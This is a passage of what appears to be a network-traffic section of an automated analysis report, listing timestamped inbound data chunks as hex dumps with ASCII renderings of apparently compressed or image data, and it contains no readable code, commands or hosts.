22 7c 98 e6 30 a0 00 b3 0d a3 cc c5 01 52 75 75 b8 db 5e 9d 6b 46 d2 4d 49 94 b3 2f c9 fb 86 45 88 63 87 de e7 6b 0d 2c 
16 dd c7 f7 57 a1 af 56 64 96 ca d8 26 cb 8a 41 93 89 21 8e 53 d8 a6 c3 c7 5e ca da c9 70 c8 46 cb 13 95 79 30 24 3c 83 
34 6c ea 06 c4 f2 b2 8b eb f5 5f 76 ed 35 af 2a d5 49 e0 d5 17 5c 06 5e 21 8d 80 77 96 32 63 68 d1 86 9e 53 aa bb 58 03 
a7 6f f0 d6 76 a9 a2 61 e2 c9 93 96 05 72 98 34 48 c7 6b 02 23 50 a3 e9 5b 91 d3 4d 37 56 2f f1 e0 a9 16 9a 5c 68 24 54 
79 4c 8d d6 e8 00 2a 2e 7f 10 36 3f 65 6a b2 84 4f 
Data Ascii: eoQ!+C7Ych4n)}spU/cqRFi_)\G"|0Ruu^kFMI/Eck,WVd&A!S^pFy0$<4l_v5*I\^!w2chSXovar4Hk#P[M7V/\
h$TyL*.6?ejO

2022-05-13 14:42:08 UTC 8429 IN Data Raw: 6e b5 bd 93 7c 09 18 ef 73 f2 e3 31 a3 4c 64 48 f6 a9 46 f4 c0 17 d7 c2 e7 ef ae 9d 74 ea 88 6c b9 f6 66 23 f1 
99 69 36 5c 46 4e 3e 65 68 5d b6 e8 be a2 5c 9e db 3a 0f 30 f8 5e b9 be 43 95 8e 79 34 a6 19 f7 8c 59 17 1b 89 28 32 24 
39 0a ca 41 f2 b5 95 5b 65 ac 07 80 d7 e7 5f 2b 6c db 83 bb c0 be 46 13 c9 8c 9b 72 9d 7d 66 b3 ad 89 8c dd 4b 11 23 5e 
da 85 ea 69 d4 6c 4b 90 8b 13 92 32 40 92 2a e3 b1 0d b1 0f d4 57 b1 cb 6a 2c 2a eb 67 5c 99 b3 4b c3 7e 9f 8c c1 c6 96 
38 e3 18 8a 92 2b 12 45 cb 38 20 03 6e ab a9 fa bf 0d ab 8e ed da d9 e4 b5 84 66 64 c9 c9 e6 65 b2 ad c4 64 28 d9 a0 
20 8b 01 f2 ad ba aa 90 dc 8f fb 8b 89 e3 71 f0 d3 02 43 2c d9 0c 6c 00 00 05 d7 cc 01 fa b5 ef 34 b5 5d b7 26 6d 41 5f 89 
ec 41 91 37 ea 33 9a 28 60 75 57 42 1c 31 b8 1a 29 06 
Data Ascii: n|s1LdHFtlf#i6\FN>eh]\:0^Cy4Y(2$9A[e_+lFr}fK#^ilK2@*Wj,*g\K~8+E8 nfded( qC,l4]&mA_A73(`uWB1)

2022-05-13 14:42:08 UTC 8445 IN Data Raw: b9 10 9d ad b6 ec a0 5c 8b 75 8d bb 7e 35 c9 6f 81 4b 5a 5b 8f a2 34 49 84 6f ee 3e 00 f3 9c 0c b5 05 59 ef b4 
13 64 3b 58 de fd 86 bd 0a fc 1a 25 01 de 0a cc af 77 6f c9 33 40 25 8e 05 71 ba 29 95 01 b5 bb 0d fe 7e 63 d6 bc ed ff 
00 16 95 71 5e 7c 89 64 6f 37 dc fc 46 46 34 90 c5 2e 5a cb b1 49 db 1a 9d b7 37 fa b7 d5 eb f8 55 79 9f e4 5f 56 ce c9 
c9 71 f9 d8 ca 04 39 d1 ef 5b 06 09 1d d8 db a9 17 a7 6f 81 5a e5 b1 24 53 65 f2 59 4d 3c 71 e2 29 64 4d 3f aa 0a 31 36 
b5 c8 06 c2 d5 c7 6d 2a 59 5d 64 1e 5f 27 95 21 18 e7 d3 50 ca 77 38 2c 58 db ba e7 4a 55 f8 c9 64 5e d9 95 7c 7e 43 2f 
22 24 9e c7 1a 2f 2d d9 ac d6 ea 34 ed af 45 52 95 e3 96 47 47 23 99 79 b3 e0 37 ac a3 cd 60 c0 8d 0d c1 fa 4f 87 6d 69 
4d 4a f8 1b ac 1c 5f 70 f2 39 e9 01 70 7d 45 bb 8b 9d 
Data Ascii: \u~5oKZ[4Io>Yd;X%wo3@%q)~cq^|do7FF4.ZI7Uy_Vq9[oZ$SeYM<q)dM?16m*Y]d_'!Pw8,XJUd^|~C/"$/-4E
RGG#y7`OmiMJ_p9p}E

2022-05-13 14:42:08 UTC 8453 IN Data Raw: 2e ab 66 3b 47 41 fe 16 e9 5a 6a 49 28 44 59 e4 0c fc ae 36 7e 6f ae 51 37 c8 a4 86 27 69 17 d2 c0 0d bf fa 57 
5e ba ba ac 92 d9 5c 3d 1d e2 22 b1 47 1a df d4 08 6d 7f 9f 5f 1a dd da 49 16 33 be 43 4a 92 c5 79 40 da 80 5c 0b f6 32 
f7 8b 74 ac 62 3c 88 ab c7 e1 27 96 68 f1 26 3e 97 aa d7 0e f7 b0 bf e6 be 95 d4 f6 a8 95 92 60 e7 39 c0 bf 0f 92 1b 03 
2b d7 b5 98 a1 ef 1d 9f f1 f2 a7 af 6f 75 95 00 f0 53 ff 00 ba 1c b9 99 b2 50 2e a1 48 b6 b7 f8 d6 fd 60 99 0d 1a 34 71 97 
00 ac 9a ea 74 16 be 94 a0 42 4f 9c c0 7a 93 ad db a8 2b d0 9f dd 5a 75 26 4f a4 fb 3b 0f 1b 99 c7 c9 fd 40 2b 0b c5 bd 
88 d4 86 5e 96 fe 50 49 3d 2f 5e 2f cb da f5 c3 5e a6 f4 52 58 4d 2c 7e dd 85 71 71 11 46 52 a0 df 36 c0 5c 25 fa 9d 34 
be 86 d7 d0 d4 d2 fe e6 5f 1e 81 c1 41 99 01 ca ce 
Data Ascii: .f;GAZjI(DY6~oQ7'iW^\="Gm_I3CJy@\2tb<'h&>`9+ouSP.H`4qtBOz+Zu&O;@+^PI=/^/^RXM,~qqFR6\%4_A

2022-05-13 14:42:08 UTC 8469 IN Data Raw: 40 31 8d 84 76 6e 3b 00 e9 f8 6b 3b eb eb 64 39 4d 15 7c 7f 1b 83 83 8c 5f 91 91 72 0b 39 20 04 3b dd 8e bb 
ac 7f f7 1f 2f e5 ad ed 66 f8 c1 10 97 25 6e 5e 54 f9 60 fe 99 8e 3e 3f 55 44 b0 56 3f c5 f8 98 f7 96 ab 4e 39 31 76 34 df db
de 63 0b 14 3f 16 f0 2c b9 b3 dc 48 63 37 dd 6b 90 48 3a 12 b7 ec ae 3d fd 96 57 ed 3b 74 5d 2c 1b 2f 70 e2 e3 67 09 b2 
73 11 b7 4f 90 b2 6a ac 7c ea bb 17 6a 2f 53 b4 7f 2d 79 cb 65 8e 8d 8a 79 29 97 9a 86 45 38 b9 51 ca 97 d5 7d 68 0e cb 
5e c3 68 53 7f f5 7d 95 a7 b2 a2 53 fe 07 20 69 38 c8 8c f1 e5 4f 14 32 cd 1a 90 84 2e 9a 9d 3c 87 4f 95 af 5c 8a cd 28 4d 
9a 46 43 f2 7f ab c6 c3 24 6d 00 5c 85 b6 d4 52 7a 6f b0 f3 0e e5 b5 6f aa d5 ed 93 57 28 cf 1e 67 39 62 8c 0c 95 8c ec 
3e a1 3b c2 f6 f4 6b eb e0 6b b9 eb ab 7c 10 ec 
Data Ascii: @1vn;k;d9M|_r9 ;/f%n^T`>?UDV?N91v4c?,Hc7kH:=W;t],/pgsOj|j/S-yey)E8Q}h^hS}S i8O2.<O\(MFC$
m\RzooW(g9b>;kk|

2022-05-13 14:42:08 UTC 8485 IN Data Raw: 1a 3e bb 94 f5 1b af f5 0a 2c da 43 46 b3 8b ca 96 08 b7 c7 84 25 06 4f 4e 17 09 bc 9d 75 b1 7b aa de fa 69 5e 
76 d7 98 9f b9 a2 35 ef 9d 3e 0c 71 a4 85 a3 25 76 20 66 df 2a fc 42 8d 3a e9 5e 45 ab 39 34 98 01 c8 65 88 62 45 c8 60 
16 30 a5 b6 f6 bf c7 fe 16 a7 5d 25 e0 24 cf f3 58 52 65 4a 93 c4 56 28 66 4b b1 6f 33 7c 4f 79 3f 65 7a 9a 2f 0a 3d 09 66 
bf db 7e d6 f7 24 5c 86 2c b1 7a 6f c4 c8 91 cc f7 7f 2e 8a 2d f5 7e 22 3f 2e 9f 65 79 ff 00 2f 76 bb 26 9f ef 47 4e b4 e7 e8 
6a 83 36 47 20 d0 c8 54 42 bb d8 b4 84 0b b2 ae ff 00 4c 74 37 b8 b5 fa 57 9b a6 aa c6 cd 94 f9 fc b4 1c 77 15 34 8a 4f 
e9 db ea 24 85 f3 69 a2 a9 b9 dc 6c 4f 4b 57 4e ad 4e f6 4b c9 16 70 7c f3 0f df 32 8c e8 63 75 2b 85 73 75 12 31 7f 30 
ea 58 fe 2a f6 6f f0 b1 87 f9 7f 23 99 5b 23 
Data Ascii: >,CF%ONu{i^v5>q%v f*B:^E94ebE`0]%$XReJV(fKo3|Oy?ez/=f~$\,zo.-~"?.ey/v&GNj6G TBLt7Ww4O$il
OKWNNKp|2cu+su10X*o#[#

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:08 UTC 8493 IN Data Raw: 68 d2 94 42 1d db 46 3a 7f 73 67 64 c1 e9 64 39 6d 2d 63 d2 dd d5 a7 b1 59 94 73 5a cd 9a 1f 71 64 63 3e 1f 
16 32 61 2a e7 15 76 b2 dc 6e d7 f8 bf f7 0a 75 ab f0 6b 67 84 57 41 9c a9 32 32 ca b8 f1 ab 02 4a 5c be 9d 2e c4 6b 45 
93 8c 29 26 4d 0e 1a e1 e7 b8 8b 1b 31 da 79 18 b0 8f 53 6b f6 05 e9 5c 0e db 3c a3 4a b6 6b 30 7d eb 33 e2 47 8f 89 e9 
3e 72 8f 4d d8 81 b8 85 ed db d7 a0 ed af 22 ff 00 13 32 f8 3a 15 cb 88 72 57 dc 25 f0 da 4c 64 f4 95 8b d8 ee 00 a8 0d 
d0 5f 79 3b be 5d 95 b5 34 75 85 92 b9 30 11 f2 58 be dd ce fd 46 74 c2 45 2c c7 f4 d0 f9 c3 77 6e 27 c8 a0 f6 f5 6a f5 ab 
a5 78 30 6e 0a 13 ce c9 ce 4d 26 41 5f 53 4d d2 33 00 36 db a0 16 ec ec 54 e9 56 f5 f5 e4 ce 7b 0c 47 1b 49 92 84 3a ac 
20 29 25 58 29 50 dd a3 71 f2 9f 11 59 5d 42 c1 9b 59 
Data Ascii: hBF:sgdd9m-cYsZqdc>2a*vnukgWA22J\.kE)&M1ySk\<Jk0}3G>rM"2:rW%Ld_y;]4u0XFtE,wn'jx0nM&A_SM3
6TV{GI: )%X)PqY]BY

2022-05-13 14:42:08 UTC 8509 IN Data Raw: 17 b6 87 f2 a3 c1 4b e3 48 e8 fe de f1 58 2d e5 cb f5 09 d4 e9 ad c7 df 5c d7 f9 2d 96 fe 3d 57 90 d9 ad 8b 14 
2c b1 87 dc a6 e0 da d6 ec 16 be b5 e7 d5 e4 c9 a4 5c 7b 51 78 ac 56 4c ec e1 a4 73 2a b8 4b 33 59 94 db 43 a7 5e fa ef 
d7 6f 52 63 05 dc d9 dc 36 52 b4 58 ca 23 0c cc 50 a0 f4 ce db dc 5d 2f b3 ec af 4d 6a ad d4 90 b6 3a e0 43 27 98 e6 f0 
20 92 28 65 32 a3 10 43 75 6f b4 1d c2 b3 7f 15 23 75 bd b0 dc 57 b9 fd cb ca 4a 61 c7 c9 46 29 13 b3 46 d2 08 8e 9d 0d 
e5 20 13 7e ed 6b 2f ed d3 e0 bf 74 c3 73 dc b7 e9 72 27 87 23 fa 99 71 b6 d0 bb b7 01 25 f5 6d c0 94 3f 2a e3 f6 6c ed 
9e 04 ee bc 14 bc 36 04 99 d9 22 69 d0 b0 26 e5 94 1b 0b f5 07 b2 b6 db b1 55 42 67 3c 48 79 d2 48 b2 cc 92 0d 91 20 
31 ac 67 5b 5f f1 69 a0 ef a9 56 9a c1 2d 17 9c 91 9f fd 
Data Ascii: KHX-\-=W,\{QxVLs*K3YC^oRc6RX#P]/Mj:C' (e2Cuo#uWJaF)F ~k/tsr'#q%m?*l6"i&UBg<HyH 1g[_iV-

2022-05-13 14:42:08 UTC 8525 IN Data Raw: 96 fe 53 f8 6b 0d 8f a9 a5 5f 62 1c 8e 6c 39 79 27 7c 86 38 94 90 ab 1a 94 20 9e d6 be 9f fd d5 e5 b5 83 46 5b 
70 58 78 7f a5 3f a1 28 e1 48 2c c1 48 dc 49 d4 82 da 35 eb 8f 62 b3 e4 75 40 79 0c a1 c6 bb 66 4a ac fb db 6c 7b dc 01 
b3 a8 b2 93 d3 be b6 d5 64 f0 81 b8 2b 31 38 c5 8a 4c 8c a9 97 d5 96 50 ab e5 01 2c 07 98 03 b4 eb d7 42 7e da e9 f9 
1b bb c2 58 ea 40 69 a7 87 11 fd 56 b3 cc 96 21 53 ce aa 6d a8 76 07 6b 3a 93 f0 a9 d5 a1 fe 85 76 29 d3 2a 7f 70 be 4a 
64 17 0d 34 3b 03 15 5d c4 2b 82 2c a2 bd 4a 55 54 15 a4 cf f1 0f 3f 1d 12 c4 52 36 41 22 ab d9 48 00 37 43 7e 8c d6 36 
d6 af 66 b5 6f 27 29 a1 cc c1 62 e1 12 49 21 8e 5d d7 11 d9 cb 94 b1 08 45 bb ae 6b 85 60 19 4f 3f 01 16 16 5b b4 72 43 
04 b2 2b 15 76 6b c8 74 fa 64 02 e1 7c dd 2d d2 bd 3d 7b 
Data Ascii: Sk_bl9y'|8 F[pXx?(H,HI5bu@yfJl{d+18LP,B~X@iV!Smvk:v)*pJd4;]+,JUT?R6A"H7C~6fo')bI!]Ek`O?[rC+vktd|-={

2022-05-13 14:42:08 UTC 8533 IN Data Raw: 12 6d 12 f6 d0 e4 d7 1e 64 9a 5d 86 16 f4 e2 86 19 56 f7 bd f7 6b d4 db f0 9a e1 df d6 af fe e9 f5 26 5a 2c b9 
1e 3a 08 bd 8b 1f 2c f1 c9 3e 71 e4 e4 88 3a b5 be 98 d4 dd f4 f3 2f 7e ab ad 69 48 eb 3c 12 f8 3e 65 cb f0 d9 19 33 45 02 
71 ff 00 d5 c9 92 e1 f6 8f 31 d6 e2 ff 00 84 df ea ae dd 7b 95 54 bb 61 1c d6 45 ef ba 3d bb 81 ed 78 f1 f9 16 33 08 ff 00 
ed b4 60 e8 1b ad 9a 41 d1 7c 3b 6b a9 6e 5b 7e a6 d6 4a aa 4c 76 7e 46 0e 6e 7b 4e a2 23 0c 8e 37 32 dc 11 bb 4b 82 
de 7b af 53 7a d6 96 7c 33 96 65 97 98 38 a7 81 9b 27 1e 7c 91 02 ab 7a 49 76 17 66 04 10 f7 1f 4a ed e9 a7 6d 72 ef fc 
bc 76 36 ae 04 23 8e 5c dc 5c c7 72 25 11 a1 db 2e e5 ba dd 80 56 62 06 bd b6 fb 6b 5a d5 56 20 39 37 d8 31 f2 5c 5f 0d 
8d 26 0c e3 22 6f 48 34 ab 30 d1 b7 5e c4 5b cc 76 
Data Ascii: md]Vk&Z,:,>q:/~iH<>e3Eq1{TaE=x3`A|;kn[~JLv~Fn{N#72K{Sz|3e8'|zIvfJmrv6#\\r%.VbkZV 971\_&"oH40^[v

2022-05-13 14:42:08 UTC 8549 IN Data Raw: ac 6c d1 d9 45 07 d0 7f 40 cf 1c 59 06 54 99 48 51 28 b9 00 cc 47 5d a4 5b cf d7 a5 b7 6e ae 4b 64 e9 48 f7 
21 ed ec 37 8b 1c 64 04 88 46 03 6e 17 f2 91 a9 0c 35 2c ad f9 3a d4 56 d0 c1 a2 af 96 e3 b0 b6 40 f0 a4 42 27 d0 ec 43 
73 df b3 43 b4 fe 6e d1 4d 5c 8b 20 9c 92 f1 58 aa 31 e0 8d 88 00 2b d9 df 72 91 e6 37 61 f4 93 53 c9 10 5b b7 b7 60 9b 
06 21 86 18 e3 95 0c 5d c9 0c ce 3a ab 5b 4d 07 97 ef ae 4d 97 82 e0 58 7b 62 30 0e 3a a4 af 90 57 7b 5a fb 42 9e 82 ff 
00 48 b7 7f dd 5c 16 da d6 7c 08 9f fb 56 07 19 b6 6c a9 0a c2 ba 31 66 b7 9a da 28 d8 14 d6 4b 75 ed 8a a1 76 17 38 5f 
ee 45 97 10 4b 90 ab 72 14 b6 c0 9a df 72 aa da e0 0e a4 d6 ba f6 5a 62 c5 ab 49 69 c4 fb 7b 91 de d3 4f 96 98 b8 a4 85 
90 c8 db 9c 2f f0 46 b7 f3 1b 79 75 5e fa ed 66 89 92 f7 
Data Ascii: lE@YTHQ(G][nKdH!7dFn5,:V@B'CsCnM\ X1+r7aS[`!]:[MMX{b0:W{ZBH\|Vl1f(Kuv8_EKrrZbIi{O/Fyu^f

2022-05-13 14:42:08 UTC 8565 IN Data Raw: 9a d7 d4 8d b7 ff 00 aa 93 f9 49 28 67 3f b4 6d 13 db 18 b8 d0 c7 16 5b b2 62 a8 17 70 35 eb 6f be b8 3d c4 
dc 9a bd 6a 0d 7f 13 c1 63 c3 04 b0 62 cd 23 e3 18 c8 68 ec ad 7b fe 22 ad dd 5b 51 a7 c0 75 82 f3 37 18 f0 be d7 e4 a3 
42 f2 0f 49 59 2e a4 da c4 5c 59 af a5 76 6b f2 26 7c 4e 2e 65 a5 95 8a 0b 25 ec d6 0a bf 1e fa d2 ad f0 40 f7 2e 90 63 ae 
0c f2 39 30 49 0b 15 b9 04 12 92 30 2b e0 05 fa 56 d6 af 6e 44 27 9f b5 31 a5 9b 1f 25 04 41 59 d0 12 0b 03 6f a7 e1 ff 
00 02 a3 fb 5a d8 56 b1 f3 ec 2c ec 28 b2 9f 27 2d 64 9b 32 55 b1 7f a1 45 c5 ae 3a 9d 3e 02 bd 0d 9a d7 58 5c 2f 07 32 
79 1f 93 9e ca 12 aa e0 c7 12 6c b0 3b 54 b5 f5 fa 98 92 6e df 1a c1 52 be 4a 2a b9 ee 4b 9a e4 df d6 ca 75 00 8d a0 20 
08 2d dd b5 6d 5b d1 55 70 45 a4 ce 63 65 4a ac c9 ab 
Data Ascii: I(g?m[bp5o=jcb#h{"[Qu7BIY.\Yvk&|N.e%@.c90I0+VnD'1%AYoZV,('-d2UE:>X\/2yl;TnRJ*Ku -m[UpEceJ

2022-05-13 14:42:08 UTC 8573 IN Data Raw: 22 90 1a e4 e9 e5 50 47 86 b5 14 a2 bc 73 66 54 41 dc 5c 6c 89 31 9e 18 8a 06 7e b9 0e 15 89 07 43 de c3 f8 
74 f2 d7 a8 aa ab 80 83 e5 fc cc 32 e2 06 82 6f ac 9b dc ea 3a fd 42 fe 03 ad 7a fa b5 f5 b2 67 3d 94 03 8b d9 fc bf 3e 04 
18 7b 64 85 90 5d a2 90 25 ad a9 de cd 6b de bd 9f 7f ab 8f 22 89 2b 32 3d 86 d8 f9 1f a2 0b 23 4a ca 2d 11 56 dd b8 1d 
42 d8 6b f1 15 a6 bf 98 fc a2 5d 20 d7 fb 63 86 c2 e2 71 c4 72 a3 c7 3e ef 3b 5c 0f a6 c0 ed 06 d7 75 1b 8a ef ed a6 fe 5f 
6b 42 65 2a a0 89 c7 62 fb 6d ce 16 2b 7a d0 bb 07 dd 71 7d d2 5f 56 b6 9b f4 d6 b4 7b 1d b2 ce bd 6a 11 8a c2 f6 6c 89 
97 04 2d 21 48 f2 25 bb ed 3b 4f f8 ed fb a9 3d 89 f2 b8 30 7a 8b de 37 db 31 f1 5c 94 f2 e3 31 32 29 65 00 9f 32 3d ed e4 
23 b4 8f c5 dd 58 ed 7d d4 70 8a 54 82 ce 53 fa 
Data Ascii: "PGsfTA\l1~Ct2o:Bzg=>{d]%k"+2=#J-VBk] cqr>;\u_kBe*bm+zq}_V{jl-!H%;O=0z71\12)e2=#X}pTS

2022-05-13 14:42:08 UTC 8589 IN Data Raw: f9 48 fc 23 b3 b2 db bb 1a bc 5d fb 3b 33 a9 25 07 62 91 a4 52 cc 08 8c df 5b 80 00 03 bf ad eb 85 eb 20 e1 
cb 4e 47 19 a3 60 14 0f 2a ea 74 e8 6c 6f 6b 96 ee ec ad 29 af ab 26 53 50 64 d5 65 39 33 4c 06 d5 dc 3d 54 4d 1a c7 f0 
82 0f 68 bf c2 d5 ea 5b 08 f1 ed ce 4a 99 e5 c6 08 f1 e2 3a ac b2 81 74 23 6d dc eb e9 06 26 fe 6e 9f fd b4 27 2c 99 03 c3 
fb 8b 98 66 78 32 e1 7c 63 bb 6b 92 09 58 cd b4 26 fd 7f 65 56 dd 75 f0 e4 da 9b 1a c1 ae e2 79 f8 f9 5c 45 9c c0 7d 45 
37 56 6b 25 ca 76 e8 46 e5 3f 0b 57 4f 55 4c 1d 75 bc 97 1f ee 38 f9 85 26 c8 d4 10 2c 89 6f ab f8 85 ec 3e 66 ad 5e 38 
35 99 04 1b 1b 0e 23 91 eb 1d b2 1f eb 43 70 54 a8 3f 52 af 40 08 ee af 4f 5b 98 25 a3 e7 19 1c 7e 26 3e 6c 8b 90 c7 d3 
20 80 6d 72 09 6b ed f9 77 f7 57 45 93 f0 64 54 be 6b 
Data Ascii: H#];3%bR[ NG`*tlok)&SPde93L=TMh[J:t#m&n',fx2|ckX&eVuy\E}E7Vk%vF?WOULu8&,o>f^85#CpT?R@O[%
~&>l mrkwWEdTk

2022-05-13 14:42:08 UTC 8605 IN Data Raw: a6 e6 33 82 49 e3 c3 3e 28 7f 51 51 e2 da 00 47 37 64 6b f9 ae 3b 8f c2 bc d7 f2 57 ed a5 67 ff 00 71 4e af c9 
51 97 83 1f a8 ce 8c 54 6e 25 53 70 60 3c 2f d6 bc 1f 9d 47 fb ba aa ff 00 ed 31 e8 4e 2e 45 30 63 90 46 14 bc 76 b0 65 
b9 24 8e a4 8f dd 5e 05 53 9f b8 27 03 fc 7f 35 3e 6c 45 4c 6a 1d 45 fc c4 eb e3 e3 6a e9 4e 30 6b 5b b6 39 78 32 14 92 
fe 70 da 90 2d 6e f1 45 e1 a2 b9 20 64 89 10 32 a8 be ed 49 36 d7 b0 f4 ae 7a fc 6e e5 24 59 47 87 86 f8 e2 54 86 37 f3 
75 2c 45 ff 00 37 6e a7 c2 d5 d4 bf c7 59 d6 65 d4 d5 25 e8 5c cd ca 41 c7 44 b8 d8 da 33 2a 9d 85 ae 36 f8 01 f5 57 3e 
9f f1 d6 cf 67 8f fc 4e 97 b1 2e 01 af 2c f3 23 49 b0 b0 5d c3 62 28 17 23 a8 be a6 f6 f8 57 5e bf f1 c9 a8 86 64 f6 b2 a7 
26 6c 78 02 14 c5 64 8e 52 5a e8 a4 5d bb 36 9d 77 
Data Ascii: 3I>(QQG7dk;WgqNQTn%Sp`</G1N.E0cFve$^S'5>lELjEjN0k[9x2p-nE d2I6zn$YGT7u,E7nYe%\AD3*6W>gN.
,#I]b(#W^d&lxdRZ]6w

2022-05-13 14:42:08 UTC 8612 IN Data Raw: f2 2f 32 4a b3 a0 81 8a 25 89 04 5d 37 8d 3c dd 95 eb 56 f2 73 34 7c ff 00 dc 9c 57 1f 91 3a 1c 29 ca e4 22 0f 
50 db cb 71 f8 7b c8 ec a4 dc 8e 0a c9 a7 c6 c4 16 db 66 22 e5 4e 97 ef 23 bc 56 2c d1 38 34 1c 17 bb df 8a 0a ec 81 a1 
3a 80 0e bb 8d f4 bd 70 ee d1 df 83 aa 9b 20 d5 71 5e e8 8f 96 85 bd 05 0b 2a 91 78 98 12 c7 53 af f2 f7 d7 95 b3 5b a7 
27 4d 6f 27 79 8c 88 63 96 38 1d 04 0b ab ed 53 75 3b bb 6f 6d 7c 07 65 45 60 96 e0 b1 e0 b2 b2 38 dc 75 7c 85 fe 8c cd 
76 00 82 c4 0f a4 15 1d b6 d7 ba b7 75 5e 0d 2a c3 e7 41 0e 6d e5 8a 4d 91 e8 42 83 70 41 e9 6d 37 2b 0f c4 ad fe aa ca 
f5 92 a2 46 60 49 20 45 81 19 91 1f 52 ea 7e be e0 ab 62 a5 b5 17 d7 5a c7 ac 15 18 2c a6 ca c6 e2 bf af 22 c8 40 76 55 
22 f6 76 0a 2e e4 77 6e fa 56 a2 d5 92 78 39 92 a7 29 
Data Ascii: /2J%]7<Vs4|W:)"Pq{f"N#V,84:p q^*xS['Mo'yc8Su;om|eE`8u|vu^*AmMBpAm7+F`I ER~bZ,"@vU"v.wnVx9)

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:08 UTC 8628 IN Data Raw: 72 33 55 71 ec db ad a9 36 ef d6 fd 80 0a e4 49 cc 21 f7 27 99 87 38 c8 68 92 4f 55 51 43 19 16 c5 4d 8e bb 
5b e0 6b 6e 9e db 86 65 96 7d 97 04 a8 88 3a 93 b3 68 26 c0 1d aa 16 f6 bf c2 be b6 9c 1e 63 e4 cd 72 7c cc 52 a8 da 
80 23 02 63 31 8b b2 81 a2 94 b7 e2 fd 95 46 8a a4 b1 39 c9 1c 45 61 b6 6b 82 6e c4 ee 36 b0 bd fa 1f 86 95 a2 82 1a 2c 
b3 24 93 90 6d 98 4a 7d 65 00 f4 1d 4f c7 a0 ef ae 85 c6 0c a3 d4 4f 96 ce c0 f6 d4 22 19 9f f5 19 7b 01 06 56 b9 95 87 65 
fa 2a 93 7d 2b ce df b1 57 93 5a 55 d8 f9 86 43 9e 47 2b fd ca 1f 50 34 a0 09 93 71 68 88 0d 60 88 2c 3e cf b2 bc d9 ee 
76 25 07 dc fd 91 ed ac 0c 4e 35 a6 31 c4 b9 0d 61 27 a6 2c 2e a7 45 6b eb 75 27 b7 cd 5d 9a 75 a4 8e 4b db 26 2b de 
1e eb 49 9e 6c 79 a5 8e 6c 76 70 d1 47 70 19 4a fe 6d 0d f7 
Data Ascii: r3Uq6I!'8hOUQCM[kne}:h&cr|R#c1F9Eakn6,$mJ}eOO"{Ve*}+WZUCG+P4qh`,>v%N51a',.Eku']uK&+Ilylv
pGpJm

2022-05-13 14:42:08 UTC 8644 IN Data Raw: 22 49 65 3d 04 8a 08 16 3e 1a d7 47 c6 d3 5c f5 f5 8f e0 65 b7 63 f2 3b 26 46 57 3f 85 84 78 a3 e6 c1 86 46 9f 
71 28 91 a0 7b 6f 73 f9 e4 b8 fe 6a d6 94 f6 ec fb ff 00 53 5d 49 b5 bb 25 d7 c1 61 06 48 6e 17 15 a4 9d 0c 93 65 4c e5 41
d2 26 d0 58 8e cd df 5d fa 1a d9 53 f2 78 f0 bf 52 3b 60 2f b5 38 b5 e6 bd cd 04 57 b6 3c 4d eb 39 00 9b fa 5a b0 d3 bd 
ab d5 d1 49 69 1c 5b ad 0a 4f b1 fb 97 fb 8d 0f b7 a6 18 90 af ab c9 4a 01 48 86 b6 b9 b5 de df 4f f2 fd 55 e9 ee da b5 ac 
9c 1a e8 ee 65 7d f5 ee 68 b8 fe 25 57 90 94 bc ce 0f a4 80 da ef 7f a9 ad f8 17 f2 9f 2d 7c aa 9d b7 ec cf 7a 55 2b 08 f9 
cf 0f ee 7c ee 67 90 c6 6e 70 bb f1 a5 c2 c8 13 5f e9 83 70 36 2e ac aa 7e 76 ad ef 45 45 35 59 33 ab 76 79 37 7c e4 3c 
ae 37 3d 93 2f ab 04 7c 70 85 56 35 91 c4 68 
Data Ascii: "Ie=>G\ec;&FW?xFq({osjS]I%aHneLA&X]SxR;`/8W<M9ZIi[OJHOUe}h%W-|zU+|gnp_p6.~vEE5Y3vy7|<7=/
|pV5h

2022-05-13 14:42:08 UTC 8652 IN Data Raw: a5 68 b5 5a dc 20 76 48 60 16 31 26 3e 4a 2b 06 b9 07 44 03 4b ea 3b 46 de da ce da 9a 65 2b 49 9e 93 03 
30 e4 b2 4a db 31 45 96 ec 4b 12 b6 ba f4 36 f2 f7 57 6e bd 3d 91 cf 6b 41 2c 98 f0 71 a2 b0 52 18 ed 24 ae d6 08 ac 7a 
eb 71 b4 9f 0a ec e9 5a 78 31 96 c7 f0 a3 c0 c6 57 c8 c5 1b 50 2d 82 3d c5 cd ad d8 09 3a 9d 00 af 35 d6 5c a3 a5 3c 0d 
c9 0e 46 24 45 e0 90 44 a1 41 92 ca 59 5c d8 d8 00 da fd 95 a5 9f a0 24 46 5c c4 86 35 8a 48 a4 b6 85 76 8b 2d ce 85 
8d 8f d6 0f 9b f6 d7 55 22 3f 24 63 6f a1 18 72 24 83 02 28 b2 8f ad 29 7d db 1c 0b 10 af 78 ec 08 e8 dd 4f df 58 d9 c3 fc 
59 a2 e3 22 5c ae 64 b9 53 b6 4c c1 52 62 0c 6e b7 25 44 64 82 a0 de f6 ff 00 22 d1 b2 f6 be 19 0a a9 70 5a fb 7f 89 41 
88 b3 4f 22 26 3c c3 d3 7b 37 fd c8 cb 1b 23 30 36 dc df 94 
Data Ascii: hZ vH`1&>J+DK;Fe+I0J1EK6Wn=kA,qR$zqZx1WP-=:5\<F$EDAY\$F\5Hv-U"?$cor$()}xOXY"\dSLRbn%Dd"p
ZAO"&<{7#06

2022-05-13 14:42:08 UTC 8668 IN Data Raw: b2 b3 36 b7 8c 5b ad b6 6e ee af 4f 56 c6 e1 7d 0c 2d 53 e4 9e e3 cd 9b 8b 58 a5 c4 20 ef 25 58 b3 58 5e d7 
1d 3e cf e2 af 40 e6 65 0f 17 ca 4e 26 fd 44 97 12 06 bd d4 f4 6f 85 67 6a ca 1a 67 ea 2f ed b6 78 f7 1f 13 16 32 ed 6b 29 
89 e7 71 b9 c9 6f 38 24 12 7c b7 03 e6 b5 f2 1f 29 74 b4 7a 9e ae b9 6a 4b 57 e1 5f 23 2d f1 15 f7 49 13 ed 57 56 b0 2d 
73 f4 1e f1 f5 5b 5f a6 b9 bb 42 29 23 e9 1e de 7c 98 30 23 c6 cb 76 69 e1 4d ac 7b 7c 82 c6 b9 dd 25 e0 d2 7d 4a f9 b6 
cf 3b bc a0 bc 60 15 00 36 8c 47 e1 f8 db ad 73 ed a3 78 58 2e ae 39 1e e3 24 69 62 68 04 41 15 b5 d0 f6 1f 0f 85 73 de 
bd 56 4d 28 e5 e0 75 d2 3c 5b e5 4a 51 63 55 00 36 83 42 45 af 7e da e5 d7 ba 24 e9 b5 16 0c 97 27 cb 47 3e 79 68 e7 
